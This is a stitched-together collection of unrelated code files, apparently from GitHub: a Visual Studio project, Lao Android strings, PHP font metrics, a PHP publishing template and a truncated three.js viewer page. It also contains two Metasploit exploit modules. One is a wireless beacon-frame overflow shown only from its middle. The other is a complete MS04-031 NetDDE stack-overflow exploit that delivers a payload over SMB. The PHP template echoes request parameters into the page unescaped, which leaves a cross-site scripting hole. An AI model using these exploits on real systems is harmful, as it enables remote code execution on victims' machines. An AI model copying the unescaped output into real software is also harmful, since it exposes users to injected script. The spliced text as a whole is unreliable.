#{datastore['ADDR_DST']}...") print "[-] " while (count < rtime) wifi.write(create_beacon) select(nil, nil, nil, 0.10) if (count % 100 == 0) count += 1 #Exit if we get a session break if session_created? print "#" sleep(dtime) end print "\n" print_status("Completed sending probe.") end def create_beacon bssid = ("\x43" * 6) src = ("\x43" * 6) seq = [rand(255)].pack('n') fill = 0xe0 - (payload.encoded.length - 125) frame = "\x50" + # type/subtype "\x00" + # flags "\x3a\x01" + # duration eton(datastore['ADDR_DST']) + # dst src + # src bssid + # bssid seq + # seq rand_text(8) + # timestamp value "\xa0\x0f" + # beacon interval "\x31\x08" + # capability flags # ssid tag "\x00\x00" + # supported rates "\x01" + "\x01" + "\x82" + # current channel "\x03" + "\x01" + channel.chr + # fixed max len "\x85\x7b" + payload.encoded + # fill to reach e0 length ("\x41" * fill) + # vendor specific tag "\xdd" + "\x18" + "\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5\x00\x00" + "\x42\x54\xbc\x00\x62\x43\x66\x00" + # vendor specific tag "\xdd" + "\x10" + "\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07" + # RET address [target['Ret']].pack('V') return frame end end end # milw0rm.com [2008-04-17]
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding = "Windows-1252"?> <VisualStudioProject ProjectType="Visual C++" Version="9.00" Name="midiclock" ProjectGUID="{9B448D22-EC7E-4BD8-A552-B268D843CC3C}" Keyword="Win32Proj"> <Platforms> <Platform Name="Win32"/> </Platforms> <Configurations> <Configuration Name="Debug|Win32" OutputDirectory="Debug" IntermediateDirectory="midiclock.dir\Debug" ConfigurationType="1" UseOfMFC="0" ATLMinimizesCRunTimeLibraryUsage="FALSE" CharacterSet="2"> <Tool Name="VCCLCompilerTool" AdditionalOptions=" /Zm1000" AdditionalIncludeDirectories="..\pm_common;..\porttime;" BasicRuntimeChecks="3" CompileAs="1" DebugInformationFormat="3" ExceptionHandling="0" InlineFunctionExpansion="0" Optimization="0" RuntimeLibrary="1" WarningLevel="3" PreprocessorDefinitions="WIN32,_WINDOWS,_DEBUG,PM_CHECK_ERRORS=1,DEBUG,CMAKE_INTDIR=\&quot;Debug\&quot;" AssemblerListingLocation="Debug" ObjectFile="$(IntDir)\" ProgramDataBaseFileName="../pm_test/Debug/midiclock.pdb" /> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCResourceCompilerTool" AdditionalIncludeDirectories="..\pm_common;..\porttime;" PreprocessorDefinitions="WIN32,_WINDOWS,_DEBUG,PM_CHECK_ERRORS=1,DEBUG,CMAKE_INTDIR=\&quot;Debug\&quot;"/> <Tool Name="VCMIDLTool" PreprocessorDefinitions="WIN32,_WINDOWS,_DEBUG,PM_CHECK_ERRORS=1,DEBUG,CMAKE_INTDIR=\&quot;Debug\&quot;" MkTypLibCompatible="FALSE" TargetEnvironment="1" GenerateStublessProxies="TRUE" TypeLibraryName="$(InputName).tlb" OutputDirectory="$(IntDir)" HeaderFileName="$(InputName).h" DLLDataFileName="" InterfaceIdentifierFileName="$(InputName)_i.c" ProxyFileName="$(InputName)_p.c"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCPostBuildEventTool"/> <Tool Name="VCLinkerTool" AdditionalOptions=" /STACK:10000000 /machine:I386 /debug" AdditionalDependencies="$(NOINHERIT) kernel32.lib user32.lib gdi32.lib winspool.lib shell32.lib ole32.lib oleaut32.lib uuid.lib comdlg32.lib advapi32.lib ..\Debug\portmidi_s.lib winmm.lib " OutputFile="..\pm_test\Debug\midiclock.exe" Version="0.0" GenerateManifest="TRUE" LinkIncremental="2" AdditionalLibraryDirectories="" ProgramDataBaseFile="../pm_test/Debug/midiclock.pdb" GenerateDebugInformation="TRUE" SubSystem="1" ImportLibrary="..\pm_test\Debug\midiclock.lib"/> </Configuration> <Configuration Name="Release|Win32" OutputDirectory="Release" IntermediateDirectory="midiclock.dir\Release" ConfigurationType="1" UseOfMFC="0" ATLMinimizesCRunTimeLibraryUsage="FALSE" CharacterSet="2"> <Tool Name="VCCLCompilerTool" AdditionalOptions=" /Zm1000" AdditionalIncludeDirectories="..\pm_common;..\porttime;" CompileAs="1" ExceptionHandling="0" InlineFunctionExpansion="2" Optimization="2" RuntimeLibrary="0" WarningLevel="3" PreprocessorDefinitions="WIN32,_WINDOWS,NDEBUG,CMAKE_INTDIR=\&quot;Release\&quot;" AssemblerListingLocation="Release" ObjectFile="$(IntDir)\" ProgramDataBaseFileName="../pm_test/Release/midiclock.pdb" /> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCResourceCompilerTool" AdditionalIncludeDirectories="..\pm_common;..\porttime;" PreprocessorDefinitions="WIN32,_WINDOWS,NDEBUG,CMAKE_INTDIR=\&quot;Release\&quot;"/> <Tool Name="VCMIDLTool" PreprocessorDefinitions="WIN32,_WINDOWS,NDEBUG,CMAKE_INTDIR=\&quot;Release\&quot;" MkTypLibCompatible="FALSE" TargetEnvironment="1" GenerateStublessProxies="TRUE" TypeLibraryName="$(InputName).tlb" OutputDirectory="$(IntDir)" HeaderFileName="$(InputName).h" DLLDataFileName="" InterfaceIdentifierFileName="$(InputName)_i.c" ProxyFileName="$(InputName)_p.c"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCPostBuildEventTool"/> <Tool Name="VCLinkerTool" AdditionalOptions=" /STACK:10000000 /machine:I386" AdditionalDependencies="$(NOINHERIT) kernel32.lib user32.lib gdi32.lib winspool.lib shell32.lib ole32.lib oleaut32.lib uuid.lib comdlg32.lib advapi32.lib ..\Release\portmidi_s.lib winmm.lib " OutputFile="..\pm_test\Release\midiclock.exe" Version="0.0" GenerateManifest="TRUE" LinkIncremental="1" AdditionalLibraryDirectories="" ProgramDataBaseFile="../pm_test/Release/midiclock.pdb" SubSystem="1" ImportLibrary="..\pm_test\Release\midiclock.lib"/> </Configuration> </Configurations> <Files> <Filter Name="Source Files" Filter=""> <File RelativePath="..\pm_test\midiclock.c"> </File> </Filter> </Files> <Globals> </Globals> </VisualStudioProject>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <resources> <string name="date_at_time">%1$s ເວລາ %2$s</string> <string name="date_time">%1$s, %2$s</string> <string name="today">ມື້ນີ້</string> <string name="tomorrow">ມື້ອື່ນ</string> <string name="yesterday">ມື້ວານນີ້</string> <string name="monday_initial">M</string> <string name="tuesday_initial">T</string> <string name="wednesday_initial">W</string> <string name="thursday_initial">T</string> <string name="friday_initial">F</string> <string name="saturday_initial">S</string> <string name="sunday_initial">S</string> <string name="accessibility_goto_next_week">ໄປທີ່ອາທິດໜ້າ</string> <string name="accessibility_goto_previous_week">ໄປທີ່ອາທິດກ່ອນໜ້ານີ້</string> <string name="accessibility_today">ມື້ນີ້</string> <string name="accessibility_selected">ເລືອກແລ້ວ</string> <string name="date_time_picker_start_time">ເວລາເລີ່ມຕົ້ນ</string> <string name="date_time_picker_end_time">ເວລາສິ້ນສຸດ</string> <string name="date_time_picker_start_date">ວັນທີເລີ່ມຕົ້ນ</string> <string name="date_time_picker_end_date">ວັນທີສິ້ນສຸດ</string> <string name="date_time_picker_choose_time">ເລືອກເວລາ</string> <string name="date_time_picker_choose_date">ເລືອກວັນທີ</string> <string name="date_time_picker_accessibility_dialog_title">ຕົວເລືອກວັນເວລາ</string> <string name="date_picker_accessibility_dialog_title">ຕົວເລືອກວັນທີ</string> <string name="date_time_picker_range_accessibility_dialog_title">ໄລຍະຕົວເລືອກວັນເວລາ</string> <string name="date_picker_range_accessibility_dialog_title">ໄລຍະຕົວເລືອກວັນທີ</string> <string name="date_time_picker_accessiblility_start_time">ແຖບເວລາເລີ່ມຕົ້ນ</string> <string name="date_time_picker_accessiblility_end_time">ແຖບເວລາສິ້ນສຸດ</string> <string name="date_picker_accessiblility_start_date">ແຖບວັນທີເລີ່ມຕົ້ນ</string> <string name="date_picker_accessiblility_end_date">ແຖບວັນທີສິ້ນສຸດ</string> <string name="date_time_picker_accessibility_close_dialog_button">ປິດກ່ອງຂໍ້ຄວາມ</string> <string name="date_picker_accessibility_increment_month_button">ເພີ່ມເດືອນ</string> <string name="date_picker_accessibility_next_month_click_action">ເລືອກເດືອນຖັດໄປ</string> <string name="date_picker_accessibility_decrement_month_button">ຫຼຸດເດືອນ</string> <string name="date_picker_accessibility_previous_month_click_action">ເລືອກເດືອນກ່ອນໜ້າ</string> <string name="date_picker_accessibility_increment_day_button">ເພີ່ມວັນ</string> <string name="date_picker_accessibility_next_day_click_action">ເລືອກມື້ຖັດໄປ</string> <string name="date_picker_accessibility_decrement_day_button">ຫຼຸດມື້</string> <string name="date_picker_accessibility_previous_day_click_action">ເລືອກວັນກ່ອນໜ້າ</string> <string name="date_picker_accessibility_increment_year_button">ເພີ່ມປີ</string> <string name="date_picker_accessibility_next_year_click_action">ເລືອກປີຖັດໄປ</string> <string name="date_picker_accessibility_decrement_year_button">ຫຼຸດປີ</string> <string name="date_picker_accessibility_previous_year_click_action">ເລືອກປີກ່ອນໜ້າ</string> <string name="date_time_picker_accessibility_increment_date_button">ເພີ່ມວັນທີ</string> <string name="date_picker_accessibility_next_date_click_action">ເລືອກວັນທີຖັດໄປ</string> <string name="date_time_picker_accessibility_decrement_date_button">ຫຼຸດວັນທີ</string> <string name="date_picker_accessibility_previous_date_click_action">ເລືອກວັນທີກ່ອນໜ້າ</string> <string name="date_time_picker_accessibility_increment_hour_button">ເພີ່ມຊົ່ວໂມງ</string> <string name="date_picker_accessibility_next_hour_click_action">ເລືອກຊົ່ວໂມງຖັດໄປ</string> <string name="date_time_picker_accessibility_decrement_hour_button">ຫຼຸດຊົ່ວໂມງ</string> <string name="date_picker_accessibility_previous_hour_click_action">ເລືອກຊົ່ວໂມງກ່ອນໜ້າ</string> <string name="date_time_picker_accessibility_increment_minute_button">ເພີ່ມນາທີ</string> <string name="date_picker_accessibility_next_minute_click_action">ເລືອກນາທີຖັດໄປ</string> <string name="date_time_picker_accessibility_decrement_minute_button">ຫຼຸດນາທີ</string> <string name="date_picker_accessibility_previous_minute_click_action">ເລືອກນາທີກ່ອນໜ້າ</string> <string name="date_time_picker_accessibility_period_toggle_button">ສະຫຼັບໄລຍະ AM PM</string> <string name="date_time_picker_accessibility_period_toggle_click_action">ສະຫຼັບໄລຍະ AM PM</string> <string name="date_time_picker_accessibility_selected_date">ເລືອກ %s ແລ້ວ</string> <string name="people_picker_sample_label">ປ້າຍກຳກັບ</string> <string name="people_picker_search_directory">ຊອກຫາໄດເຣັກທໍຣີ</string> <string name="people_picker_search_progress">ກຳລັງຊອກຫາ…</string> <string name="people_picker_accessibility_default_hint">ລະບຸຊື່ ຫຼື ອີເມວ</string> <string name="people_picker_accessibility_persona_added">ເພີ່ມ %s ແລ້ວ</string> <string name="people_picker_accessibility_persona_removed">ລຶບ %s ອອກແລ້ວ</string> <string name="people_picker_accessibility_replaced">ແທນທີ່ %s ແລ້ວ,</string> <string name="people_picker_accessibility_click_persona">ຄລິກ</string> <string name="people_picker_accessibility_delete_persona">ລຶບ</string> <string name="people_picker_accessibility_deselect_persona">ບໍ່ເລືອກ</string> <string name="people_picker_accessibility_select_persona">ເລືອກ</string> <string name="people_picker_accessibility_clicked_persona">ຄລິກ %s ແລ້ວ</string> <string name="people_picker_accessibility_deselected_persona">ບໍ່ເລືອກ %s ແລ້ວ</string> <string name="people_picker_accessibility_selected_persona">ເລືອກ %s ແລ້ວ</string> <string name="people_picker_accessibility_deselect_selected_persona">, ການເປີດນຳໃຊ້ຈະເຊົາເລືອກ</string> <string name="people_picker_accessibility_delete_selected_persona">, ການເປີດນຳໃຊ້ຈະລຶບ</string> <string name="people_picker_accessibility_click_selected_persona">, ການເປີດນຳໃຊ້ຈະຄລິກ</string> <plurals name="people_picker_accessibility_suggestions_opened"> <item quantity="other">ເປີດລາຍຊື່ທີ່ແນະນຳກັບ %s ຄົນແລ້ວ</item> </plurals> <plurals name="people_picker_accessibility_text_view"> <item quantity="other">%s ຄົນ</item> </plurals> <string name="persona_title_placeholder">ບໍ່ມີຊື່</string> <string name="popup_menu_accessibility_item_toggle">ປິດ/ເປີດ</string> <string name="popup_menu_accessibility_item_select">ເລືອກ</string> <string name="popup_menu_accessibility_item_click_selected">ເລືອກ %s ແລ້ວ</string> <string name="popup_menu_accessibility_item_click_checked">ໝາຍ %s ແລ້ວ</string> <string name="popup_menu_accessibility_item_click_unchecked">ເຊົາໝາຍ %s ແລ້ວ</string> <string name="popup_menu_accessibility_item_radio_button">ປຸ່ມວິທະຍຸ</string> <string name="popup_menu_accessibility_item_check_box">ປ່ອງໝາຍ</string> <string name="popup_menu_accessibility_item_state_checked">ໝາຍແລ້ວ</string> <string name="popup_menu_accessibility_item_state_not_checked">ບໍ່ໄດ້ໝາຍແລ້ວ</string> <string name="progress_circular_content_description_indeterminate">ບໍ່ຊັດເຈນ</string> <string name="searchbar_clear_search">ລຶບລ້າງການຊອກຫາ</string> <string name="searchbar_back">ກັບຄືນ</string> <string name="searchbar_query_hint_default">ຊອກຫາ</string> <string name="done">ແລ້ວໆ</string> <string name="tooltip_accessibility_dismiss_action">ປິດໄວ້</string> <string name="tooltip_accessibility_dismiss_announcement">ປິດເຄັດລັບເຄື່ອງມືໄວ້</string> </resources>
{ "pile_set_name": "Github" }
<?php $type = 'Core'; $name = 'ZapfDingbats'; $up = -100; $ut = 50; $cw = array( chr(0)=>0,chr(1)=>0,chr(2)=>0,chr(3)=>0,chr(4)=>0,chr(5)=>0,chr(6)=>0,chr(7)=>0,chr(8)=>0,chr(9)=>0,chr(10)=>0,chr(11)=>0,chr(12)=>0,chr(13)=>0,chr(14)=>0,chr(15)=>0,chr(16)=>0,chr(17)=>0,chr(18)=>0,chr(19)=>0,chr(20)=>0,chr(21)=>0, chr(22)=>0,chr(23)=>0,chr(24)=>0,chr(25)=>0,chr(26)=>0,chr(27)=>0,chr(28)=>0,chr(29)=>0,chr(30)=>0,chr(31)=>0,' '=>278,'!'=>974,'"'=>961,'#'=>974,'$'=>980,'%'=>719,'&'=>789,'\''=>790,'('=>791,')'=>690,'*'=>960,'+'=>939, ','=>549,'-'=>855,'.'=>911,'/'=>933,'0'=>911,'1'=>945,'2'=>974,'3'=>755,'4'=>846,'5'=>762,'6'=>761,'7'=>571,'8'=>677,'9'=>763,':'=>760,';'=>759,'<'=>754,'='=>494,'>'=>552,'?'=>537,'@'=>577,'A'=>692, 'B'=>786,'C'=>788,'D'=>788,'E'=>790,'F'=>793,'G'=>794,'H'=>816,'I'=>823,'J'=>789,'K'=>841,'L'=>823,'M'=>833,'N'=>816,'O'=>831,'P'=>923,'Q'=>744,'R'=>723,'S'=>749,'T'=>790,'U'=>792,'V'=>695,'W'=>776, 'X'=>768,'Y'=>792,'Z'=>759,'['=>707,'\\'=>708,']'=>682,'^'=>701,'_'=>826,'`'=>815,'a'=>789,'b'=>789,'c'=>707,'d'=>687,'e'=>696,'f'=>689,'g'=>786,'h'=>787,'i'=>713,'j'=>791,'k'=>785,'l'=>791,'m'=>873, 'n'=>761,'o'=>762,'p'=>762,'q'=>759,'r'=>759,'s'=>892,'t'=>892,'u'=>788,'v'=>784,'w'=>438,'x'=>138,'y'=>277,'z'=>415,'{'=>392,'|'=>392,'}'=>668,'~'=>668,chr(127)=>0,chr(128)=>390,chr(129)=>390,chr(130)=>317,chr(131)=>317, chr(132)=>276,chr(133)=>276,chr(134)=>509,chr(135)=>509,chr(136)=>410,chr(137)=>410,chr(138)=>234,chr(139)=>234,chr(140)=>334,chr(141)=>334,chr(142)=>0,chr(143)=>0,chr(144)=>0,chr(145)=>0,chr(146)=>0,chr(147)=>0,chr(148)=>0,chr(149)=>0,chr(150)=>0,chr(151)=>0,chr(152)=>0,chr(153)=>0, chr(154)=>0,chr(155)=>0,chr(156)=>0,chr(157)=>0,chr(158)=>0,chr(159)=>0,chr(160)=>0,chr(161)=>732,chr(162)=>544,chr(163)=>544,chr(164)=>910,chr(165)=>667,chr(166)=>760,chr(167)=>760,chr(168)=>776,chr(169)=>595,chr(170)=>694,chr(171)=>626,chr(172)=>788,chr(173)=>788,chr(174)=>788,chr(175)=>788, chr(176)=>788,chr(177)=>788,chr(178)=>788,chr(179)=>788,chr(180)=>788,chr(181)=>788,chr(182)=>788,chr(183)=>788,chr(184)=>788,chr(185)=>788,chr(186)=>788,chr(187)=>788,chr(188)=>788,chr(189)=>788,chr(190)=>788,chr(191)=>788,chr(192)=>788,chr(193)=>788,chr(194)=>788,chr(195)=>788,chr(196)=>788,chr(197)=>788, chr(198)=>788,chr(199)=>788,chr(200)=>788,chr(201)=>788,chr(202)=>788,chr(203)=>788,chr(204)=>788,chr(205)=>788,chr(206)=>788,chr(207)=>788,chr(208)=>788,chr(209)=>788,chr(210)=>788,chr(211)=>788,chr(212)=>894,chr(213)=>838,chr(214)=>1016,chr(215)=>458,chr(216)=>748,chr(217)=>924,chr(218)=>748,chr(219)=>918, chr(220)=>927,chr(221)=>928,chr(222)=>928,chr(223)=>834,chr(224)=>873,chr(225)=>828,chr(226)=>924,chr(227)=>924,chr(228)=>917,chr(229)=>930,chr(230)=>931,chr(231)=>463,chr(232)=>883,chr(233)=>836,chr(234)=>836,chr(235)=>867,chr(236)=>867,chr(237)=>696,chr(238)=>696,chr(239)=>874,chr(240)=>0,chr(241)=>874, chr(242)=>760,chr(243)=>946,chr(244)=>771,chr(245)=>865,chr(246)=>771,chr(247)=>888,chr(248)=>967,chr(249)=>888,chr(250)=>831,chr(251)=>873,chr(252)=>927,chr(253)=>970,chr(254)=>918,chr(255)=>0); $uv = array(32=>32,33=>array(9985,4),37=>9742,38=>array(9990,4),42=>9755,43=>9758,44=>array(9996,28),72=>9733,73=>array(10025,35),108=>9679,109=>10061,110=>9632,111=>array(10063,4),115=>9650,116=>9660,117=>9670,118=>10070,119=>9687,120=>array(10072,7),128=>array(10088,14),161=>array(10081,7),168=>9827,169=>9830,170=>9829,171=>9824,172=>array(9312,10),182=>array(10102,31),213=>8594,214=>array(8596,2),216=>array(10136,24),241=>array(10161,14)); ?>
{ "pile_set_name": "Github" }
## # $Id: ms04_031_netdde.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft NetDDE Service Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetDDE service, which is the precursor to the DCOM interface. This exploit effects only operating systems released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim that this vulnerability can be exploited without authentication, the NDDEAPI pipe is only accessible after successful authentication. }, 'Author' => [ 'pusscat' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ [ 'CVE', '2004-0206'], [ 'OSVDB', '10689'], [ 'BID', '11372'], [ 'MSB', 'MS04-031'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => (0x600 - (133*4) - 4), 'BadChars' => "\\/.:$\x00", # \ / . : $ NULL 'Prepend' => 'A' * 8, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :) ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 12 2004')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']), ], self.class) end def exploit connect() smb_login() print_status("Trying target #{target.name}...") handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle}") dcerpc_bind(handle) print_status("Bound to #{handle}") retOverWrite = 'AA' + (NDR.long(target.ret) * 133) + payload.encoded overflowChunk = retOverWrite + NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null. NDR.long(0x0) stubdata = NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) + NDR.long(rand(0xFFFFFFFF)) print_status('Calling the vulnerable function...') begin response = dcerpc.call(0xc, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end
{ "pile_set_name": "Github" }
<?php TPL::output('global/header.tpl.htm'); ?> <div class="aw-container-wrap"> <div class="container aw-publish aw-publish-article"> <div class="row"> <div class="aw-content-wrap clearfix"> <div class="col-sm-12 col-md-9 aw-main-content"> <!-- tab 切换 --> <ul class="nav nav-tabs aw-nav-tabs active"> <?php if (check_extension_package('ticket') && get_setting('ticket_enabled') == 'Y' && $this->user_info['permission']['publish_ticket']) { ?> <li><a href="ticket/publish/"><?php _e('工单'); ?></a></li> <?php } ?> <li class="active"><a href="publish/article/"><?php _e('文章'); ?></a></li> <?php if ($this->user_info['permission']['publish_question']) { ?> <li><a href="publish/"><?php _e('问题'); ?></a></li> <?php } ?> <h2 class="hidden-xs"><i class="icon icon-ask"></i> <?php _e('发起'); ?></h2> </ul> <!-- end tab 切换 --> <form action="publish/ajax/<?php if ($this->article_info['id']) { ?>modify<?php } else { ?>publish<?php } ?>_article/" method="post" id="question_form" onsubmit="return false;"> <input type="hidden" name="post_hash" value="<?php echo new_post_hash(); ?>" /> <input type="hidden" name="attach_access_key" value="<?php echo $this->attach_access_key; ?>" /> <input type="hidden" name="article_id" id="article_id" value="<?php echo $this->article_info['id']; ?>" /> <?php if ($this->article_category_list) { ?> <select name="category_id" class="collapse" id="category_id"> <option value="0">- <?php _e('请选择分类'); ?> -</option> <?php echo $this->article_category_list; ?> </select> <?php } ?> <div class="aw-mod aw-mod-publish"> <div class="mod-body"> <h3><?php _e('文章标题'); ?>:</h3> <!-- 文章标题 --> <div class="aw-publish-title<?php if (!$this->article_category_list) { ?> active<?php } ?>"> <input type="text" name="title" value="<?php echo $this->article_info['title']; ?>" class="form-control" /> <?php if ($this->article_category_list) { ?> <div class="aw-dropdown aw-question-dropdown"> <i class="aw-icon i-dropdown-triangle active"></i> <p class="title"><?php _e('没有找到相关结果'); ?></p> <ul class="aw-question-dropdown-list"></ul> </div> <div class="dropdown"> <div class="dropdown-toggle" data-toggle="dropdown"> <span id="aw-topic-tags-select"><?php _e('选择分类'); ?></span> <a href="javascript:;"><i class="icon icon-down"></i></a></a> </div> </div> <?php } ?> </div> <!-- end 文章标题 --> <h3><?php _e('文章内容'); ?>:</h3> <div class="aw-mod aw-editor-box"> <div class="mod-head"> <div class="wmd-panel"> <textarea class="wmd-input form-control autosize editor" id="wmd-input" rows="15" name="message"><?php echo $this->article_info['message']; ?></textarea> </div> </div> <div class="mod-body"> <p class="text-color-999"><span class="pull-right" id="question_detail_message">&nbsp;</span></p> <?php if (get_setting('upload_enable') == 'Y' AND get_setting('advanced_editor_enable' == 'Y')) { ?> <div class="aw-upload-box"> <a class="btn btn-default">上传附件</a> <div class="upload-container"></div> <span class="text-color-999 aw-upload-tips hidden-xs"><?php _e('允许的附件文件类型'); ?>: <?php echo get_setting('allowed_upload_types'); ?></span> </div> <?php } ?> </div> </div> <h3><?php _e('添加话题'); ?>:</h3> <div class="aw-topic-bar" data-type="publish"> <div class="tag-bar clearfix"> <?php if ($_GET['topic_title']) { ?> <span class="topic-tag"> <a class="text"><?php echo urldecode($_GET['topic_title']); ?></a> <a class="close" onclick="$(this).parents('.topic-tag').remove();"> <i class="icon icon-delete"></i> </a> <button class="close aw-close" onclick="">×</button></span><input type="hidden" value="<?php echo urldecode($_GET['topic_title']); ?>" name="topics[]" /> </span> <?php } ?> <?php if ($_POST['topics']) { ?> <?php foreach ($_POST['topics'] AS $key => $val) { ?> <span class="topic-tag"> <a class="text"><?php echo $val; ?></a> <input type="hidden" value="<?php echo $val; ?>" name="topics[]" /> </span> <?php } ?> <?php } else if ($this->article_topics) { ?> <?php foreach ($this->article_topics AS $key => $val) { ?> <span class="topic-tag"> <a class="text"><?php echo $val['topic_title']; ?></a> <input type="hidden" value="<?php echo $val['topic_title']; ?>" name="topics[]" /> </span> <?php } ?> <?php } ?> <span class="aw-edit-topic icon-inverse"><i class="icon icon-edit"></i> <?php _e('编辑话题'); ?></span> </div> </div> <?php if ($this->recent_topics) { ?> <h3><?php _e('最近话题'); ?>:</h3> <div class="aw-topic-bar"> <div class="topic-bar clearfix"> <?php foreach($this->recent_topics as $key => $val) { ?> <span class="topic-tag" onclick="$('#aw_edit_topic_title').val('<?php echo $val; ?>');$('.add').click();$(this).hide();"> <a class="text"> <?php echo $val; ?> </a> </span> <?php } ?> </div> </div> <?php } ?> <?php if ($this->human_valid) { ?> <div class="aw-auth-img clearfix"> <em class="auth-img pull-right"><img src="" onclick="this.src = G_BASE_URL + '/account/captcha/' + Math.floor(Math.random() * 10000);" id="captcha" /></em> <input class="pull-right form-control" type="text" name="seccode_verify" placeholder="验证码" /> </div> <?php } ?> </div> <div class="mod-footer clearfix"> <?php if (get_setting('integral_system_enabled') == 'Y') { ?><a href="integral/rule/" target="_blank">[<?php _e('积分规则'); ?>]</a><?php } ?> <span class="aw-anonymity"> <?php if ($this->article_info['id'] AND ($this->user_info['permission']['is_administortar'] OR $this->user_info['permission']['is_moderator'])) { ?> <label><input type="checkbox" class="pull-left" value="1" name="do_delete" /> <?php _e('删除文章'); ?></label> <?php } ?> </span> <a class="btn btn-large btn-success btn-publish-submit" id="publish_submit" onclick="AWS.ajax_post($('#question_form')); return false;"><?php _e('确认发起'); ?></a> </div> </div> </form> </div> <!-- 侧边栏 --> <div class="col-sm-12 col-md-3 aw-side-bar hidden-xs"> <!-- 文章发起指南 --> <div class="aw-mod publish-help"> <div class="mod-head"> <h3><?php _e('文章发起指南'); ?></h3> </div> <div class="mod-body"> <p><b>• <?php _e('文章标题'); ?>:</b> <?php _e('请用准确的语言描述您发布的文章思想'); ?></p> <p><b>• <?php _e('文章补充'); ?>:</b> <?php _e('详细补充您的文章内容, 并提供一些相关的素材以供参与者更多的了解您所要文章的主题思想'); ?></p> <p><b>• <?php _e('选择话题'); ?>:</b> <?php _e('选择一个或者多个合适的话题, 让您发布的文章得到更多有相同兴趣的人参与. 所有人可以在您发布文章之后添加和编辑该文章所属的话题'); ?></p> </div> </div> <!-- end 文章发起指南 --> </div> <!-- end 侧边栏 --> </div> </div> </div> </div> <script type="text/javascript"> var ATTACH_ACCESS_KEY = '<?php echo $this->attach_access_key; ?>'; var CATEGORY_ID = <?php echo $this->article_info['category_id']; ?>; var PUBLISH_TYPE = 'article'; </script> <?php TPL::output('global/footer.tpl.htm'); ?>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <html lang="en"> <head> <title>three.js webgl - viewer 3</title> <meta charset="utf-8"> <style type="text/css"> body { margin:0; overflow: hidden; background: #000; line-height:1.25em } #file_dialog { width:100%; height:100%; position:absolute; top:0px; left:0px; z-index:100; } #drop_zone { position:absolute; width:100%; height:100%; padding:9% 0; color: #eee; } #drop_label { text-align: left; font: 20pt bold georgia; font-variant:small-caps; text-transform:uppercase; } #help { background: rgba(0, 0, 0, 0.9); padding:2em; width:400px; margin:1em auto; text-align:left; } .hh { color:gold } .kw { color:red } #file_list { text-align: left; } ul { padding:0; margin:0 } ul li { list-style-type:none } .missing { color:red; font-weight:bold } .loaded { color:black; font-weight:bold } .fsize { font-size:0.9em; color:#444 } #gui_wrapper { position:absolute; top:0px; right:0px; width:200px; height:100%; background:hsla(10,30%,80%, 0.75); padding:10px 15px; z-index:200; overflow:auto; font-size:0.9em; } .lbl { font-weight:bold; cursor:pointer; } .chk { background:hsla(10,80%,50%, 0.4); color:#fff; width:14px; height:14px; display:inline-block; text-align:center; font-weight:bold; font-family:verdana; font-size:14px; line-height:10px; cursor:pointer; } #l_fog { margin-right:1em } #l_bgDark { margin-right:0.25em } #morphs { background: rgba(0, 0, 0, 0.9); padding:0 1em 1em; z-index:500; position:absolute; top:1em; left:100px; color:#fff; display:none; } #camera { background: rgba(0, 0, 0, 0.9); padding:0 1em; z-index:250; position:absolute; bottom:1em; left:1em; color:#fff; display:block; } .number { display:inline-block; width:4em } .morph_label { display:inline-block; width:4em; margin:0 0.5em } .morph_pct { display:inline-block; width:3.5em; color:#555; text-align:right } .sval { color:darkred; border:solid 0px red; display:block; margin:0.5em 0 1em 0; } .slabel { color:#333 } .sgroup { background: rgba(0,0,0,0.1); padding:0.2em 0.5em 0.2em; margin:0.5em 0; } .sheader { font-weight:bold; } .sinner { padding:0 0 1em 0; display:none } .tbutton { display:inline-block; background:rgba(0,0,0,0.25); color:#fff; width:20px; height:20px; text-align:center; font-weight:bold; cursor:pointer; margin:0 -5px 0; float:right; } .button_action { background:#400; color:#fff; padding:0.2em 0.5em; margin:0 0 0.5em 0; cursor:pointer; font-weight:bold; } .zshadow { box-shadow: 0px 0px 5px rgba(0,0,0,0.35) } .hud { display:block } #hud_button { background:#000; color:#fff; width:20px; height:20px; text-align:center; font-weight:bold; position:absolute; top:0px; right:0px; z-index:250; cursor:pointer; } .header { color: hsl(10, 80%, 30%); font-weight:bold; text-transform:uppercase; } .overlay { position:absolute; left:0px; top:0px; width:100%; height:100%; background-size: 100%; z-index:50; display:none; } #overlayDirt { background: url(textures/layers/VignetteWithDirt_alpha.png) no-repeat; } #overlayVignette { background: url(textures/layers/Vignette_alpha.png) no-repeat; } #overlayLensFlare { background: url(textures/layers/LensFlare_alpha.png) no-repeat; } #images { border:solid 2px red; position:absolute; top:0px; left:0px; z-index:200; } .button { color:white; background:darkred; font-size:0.9em; font-weight:bold; font-variant:small-caps; 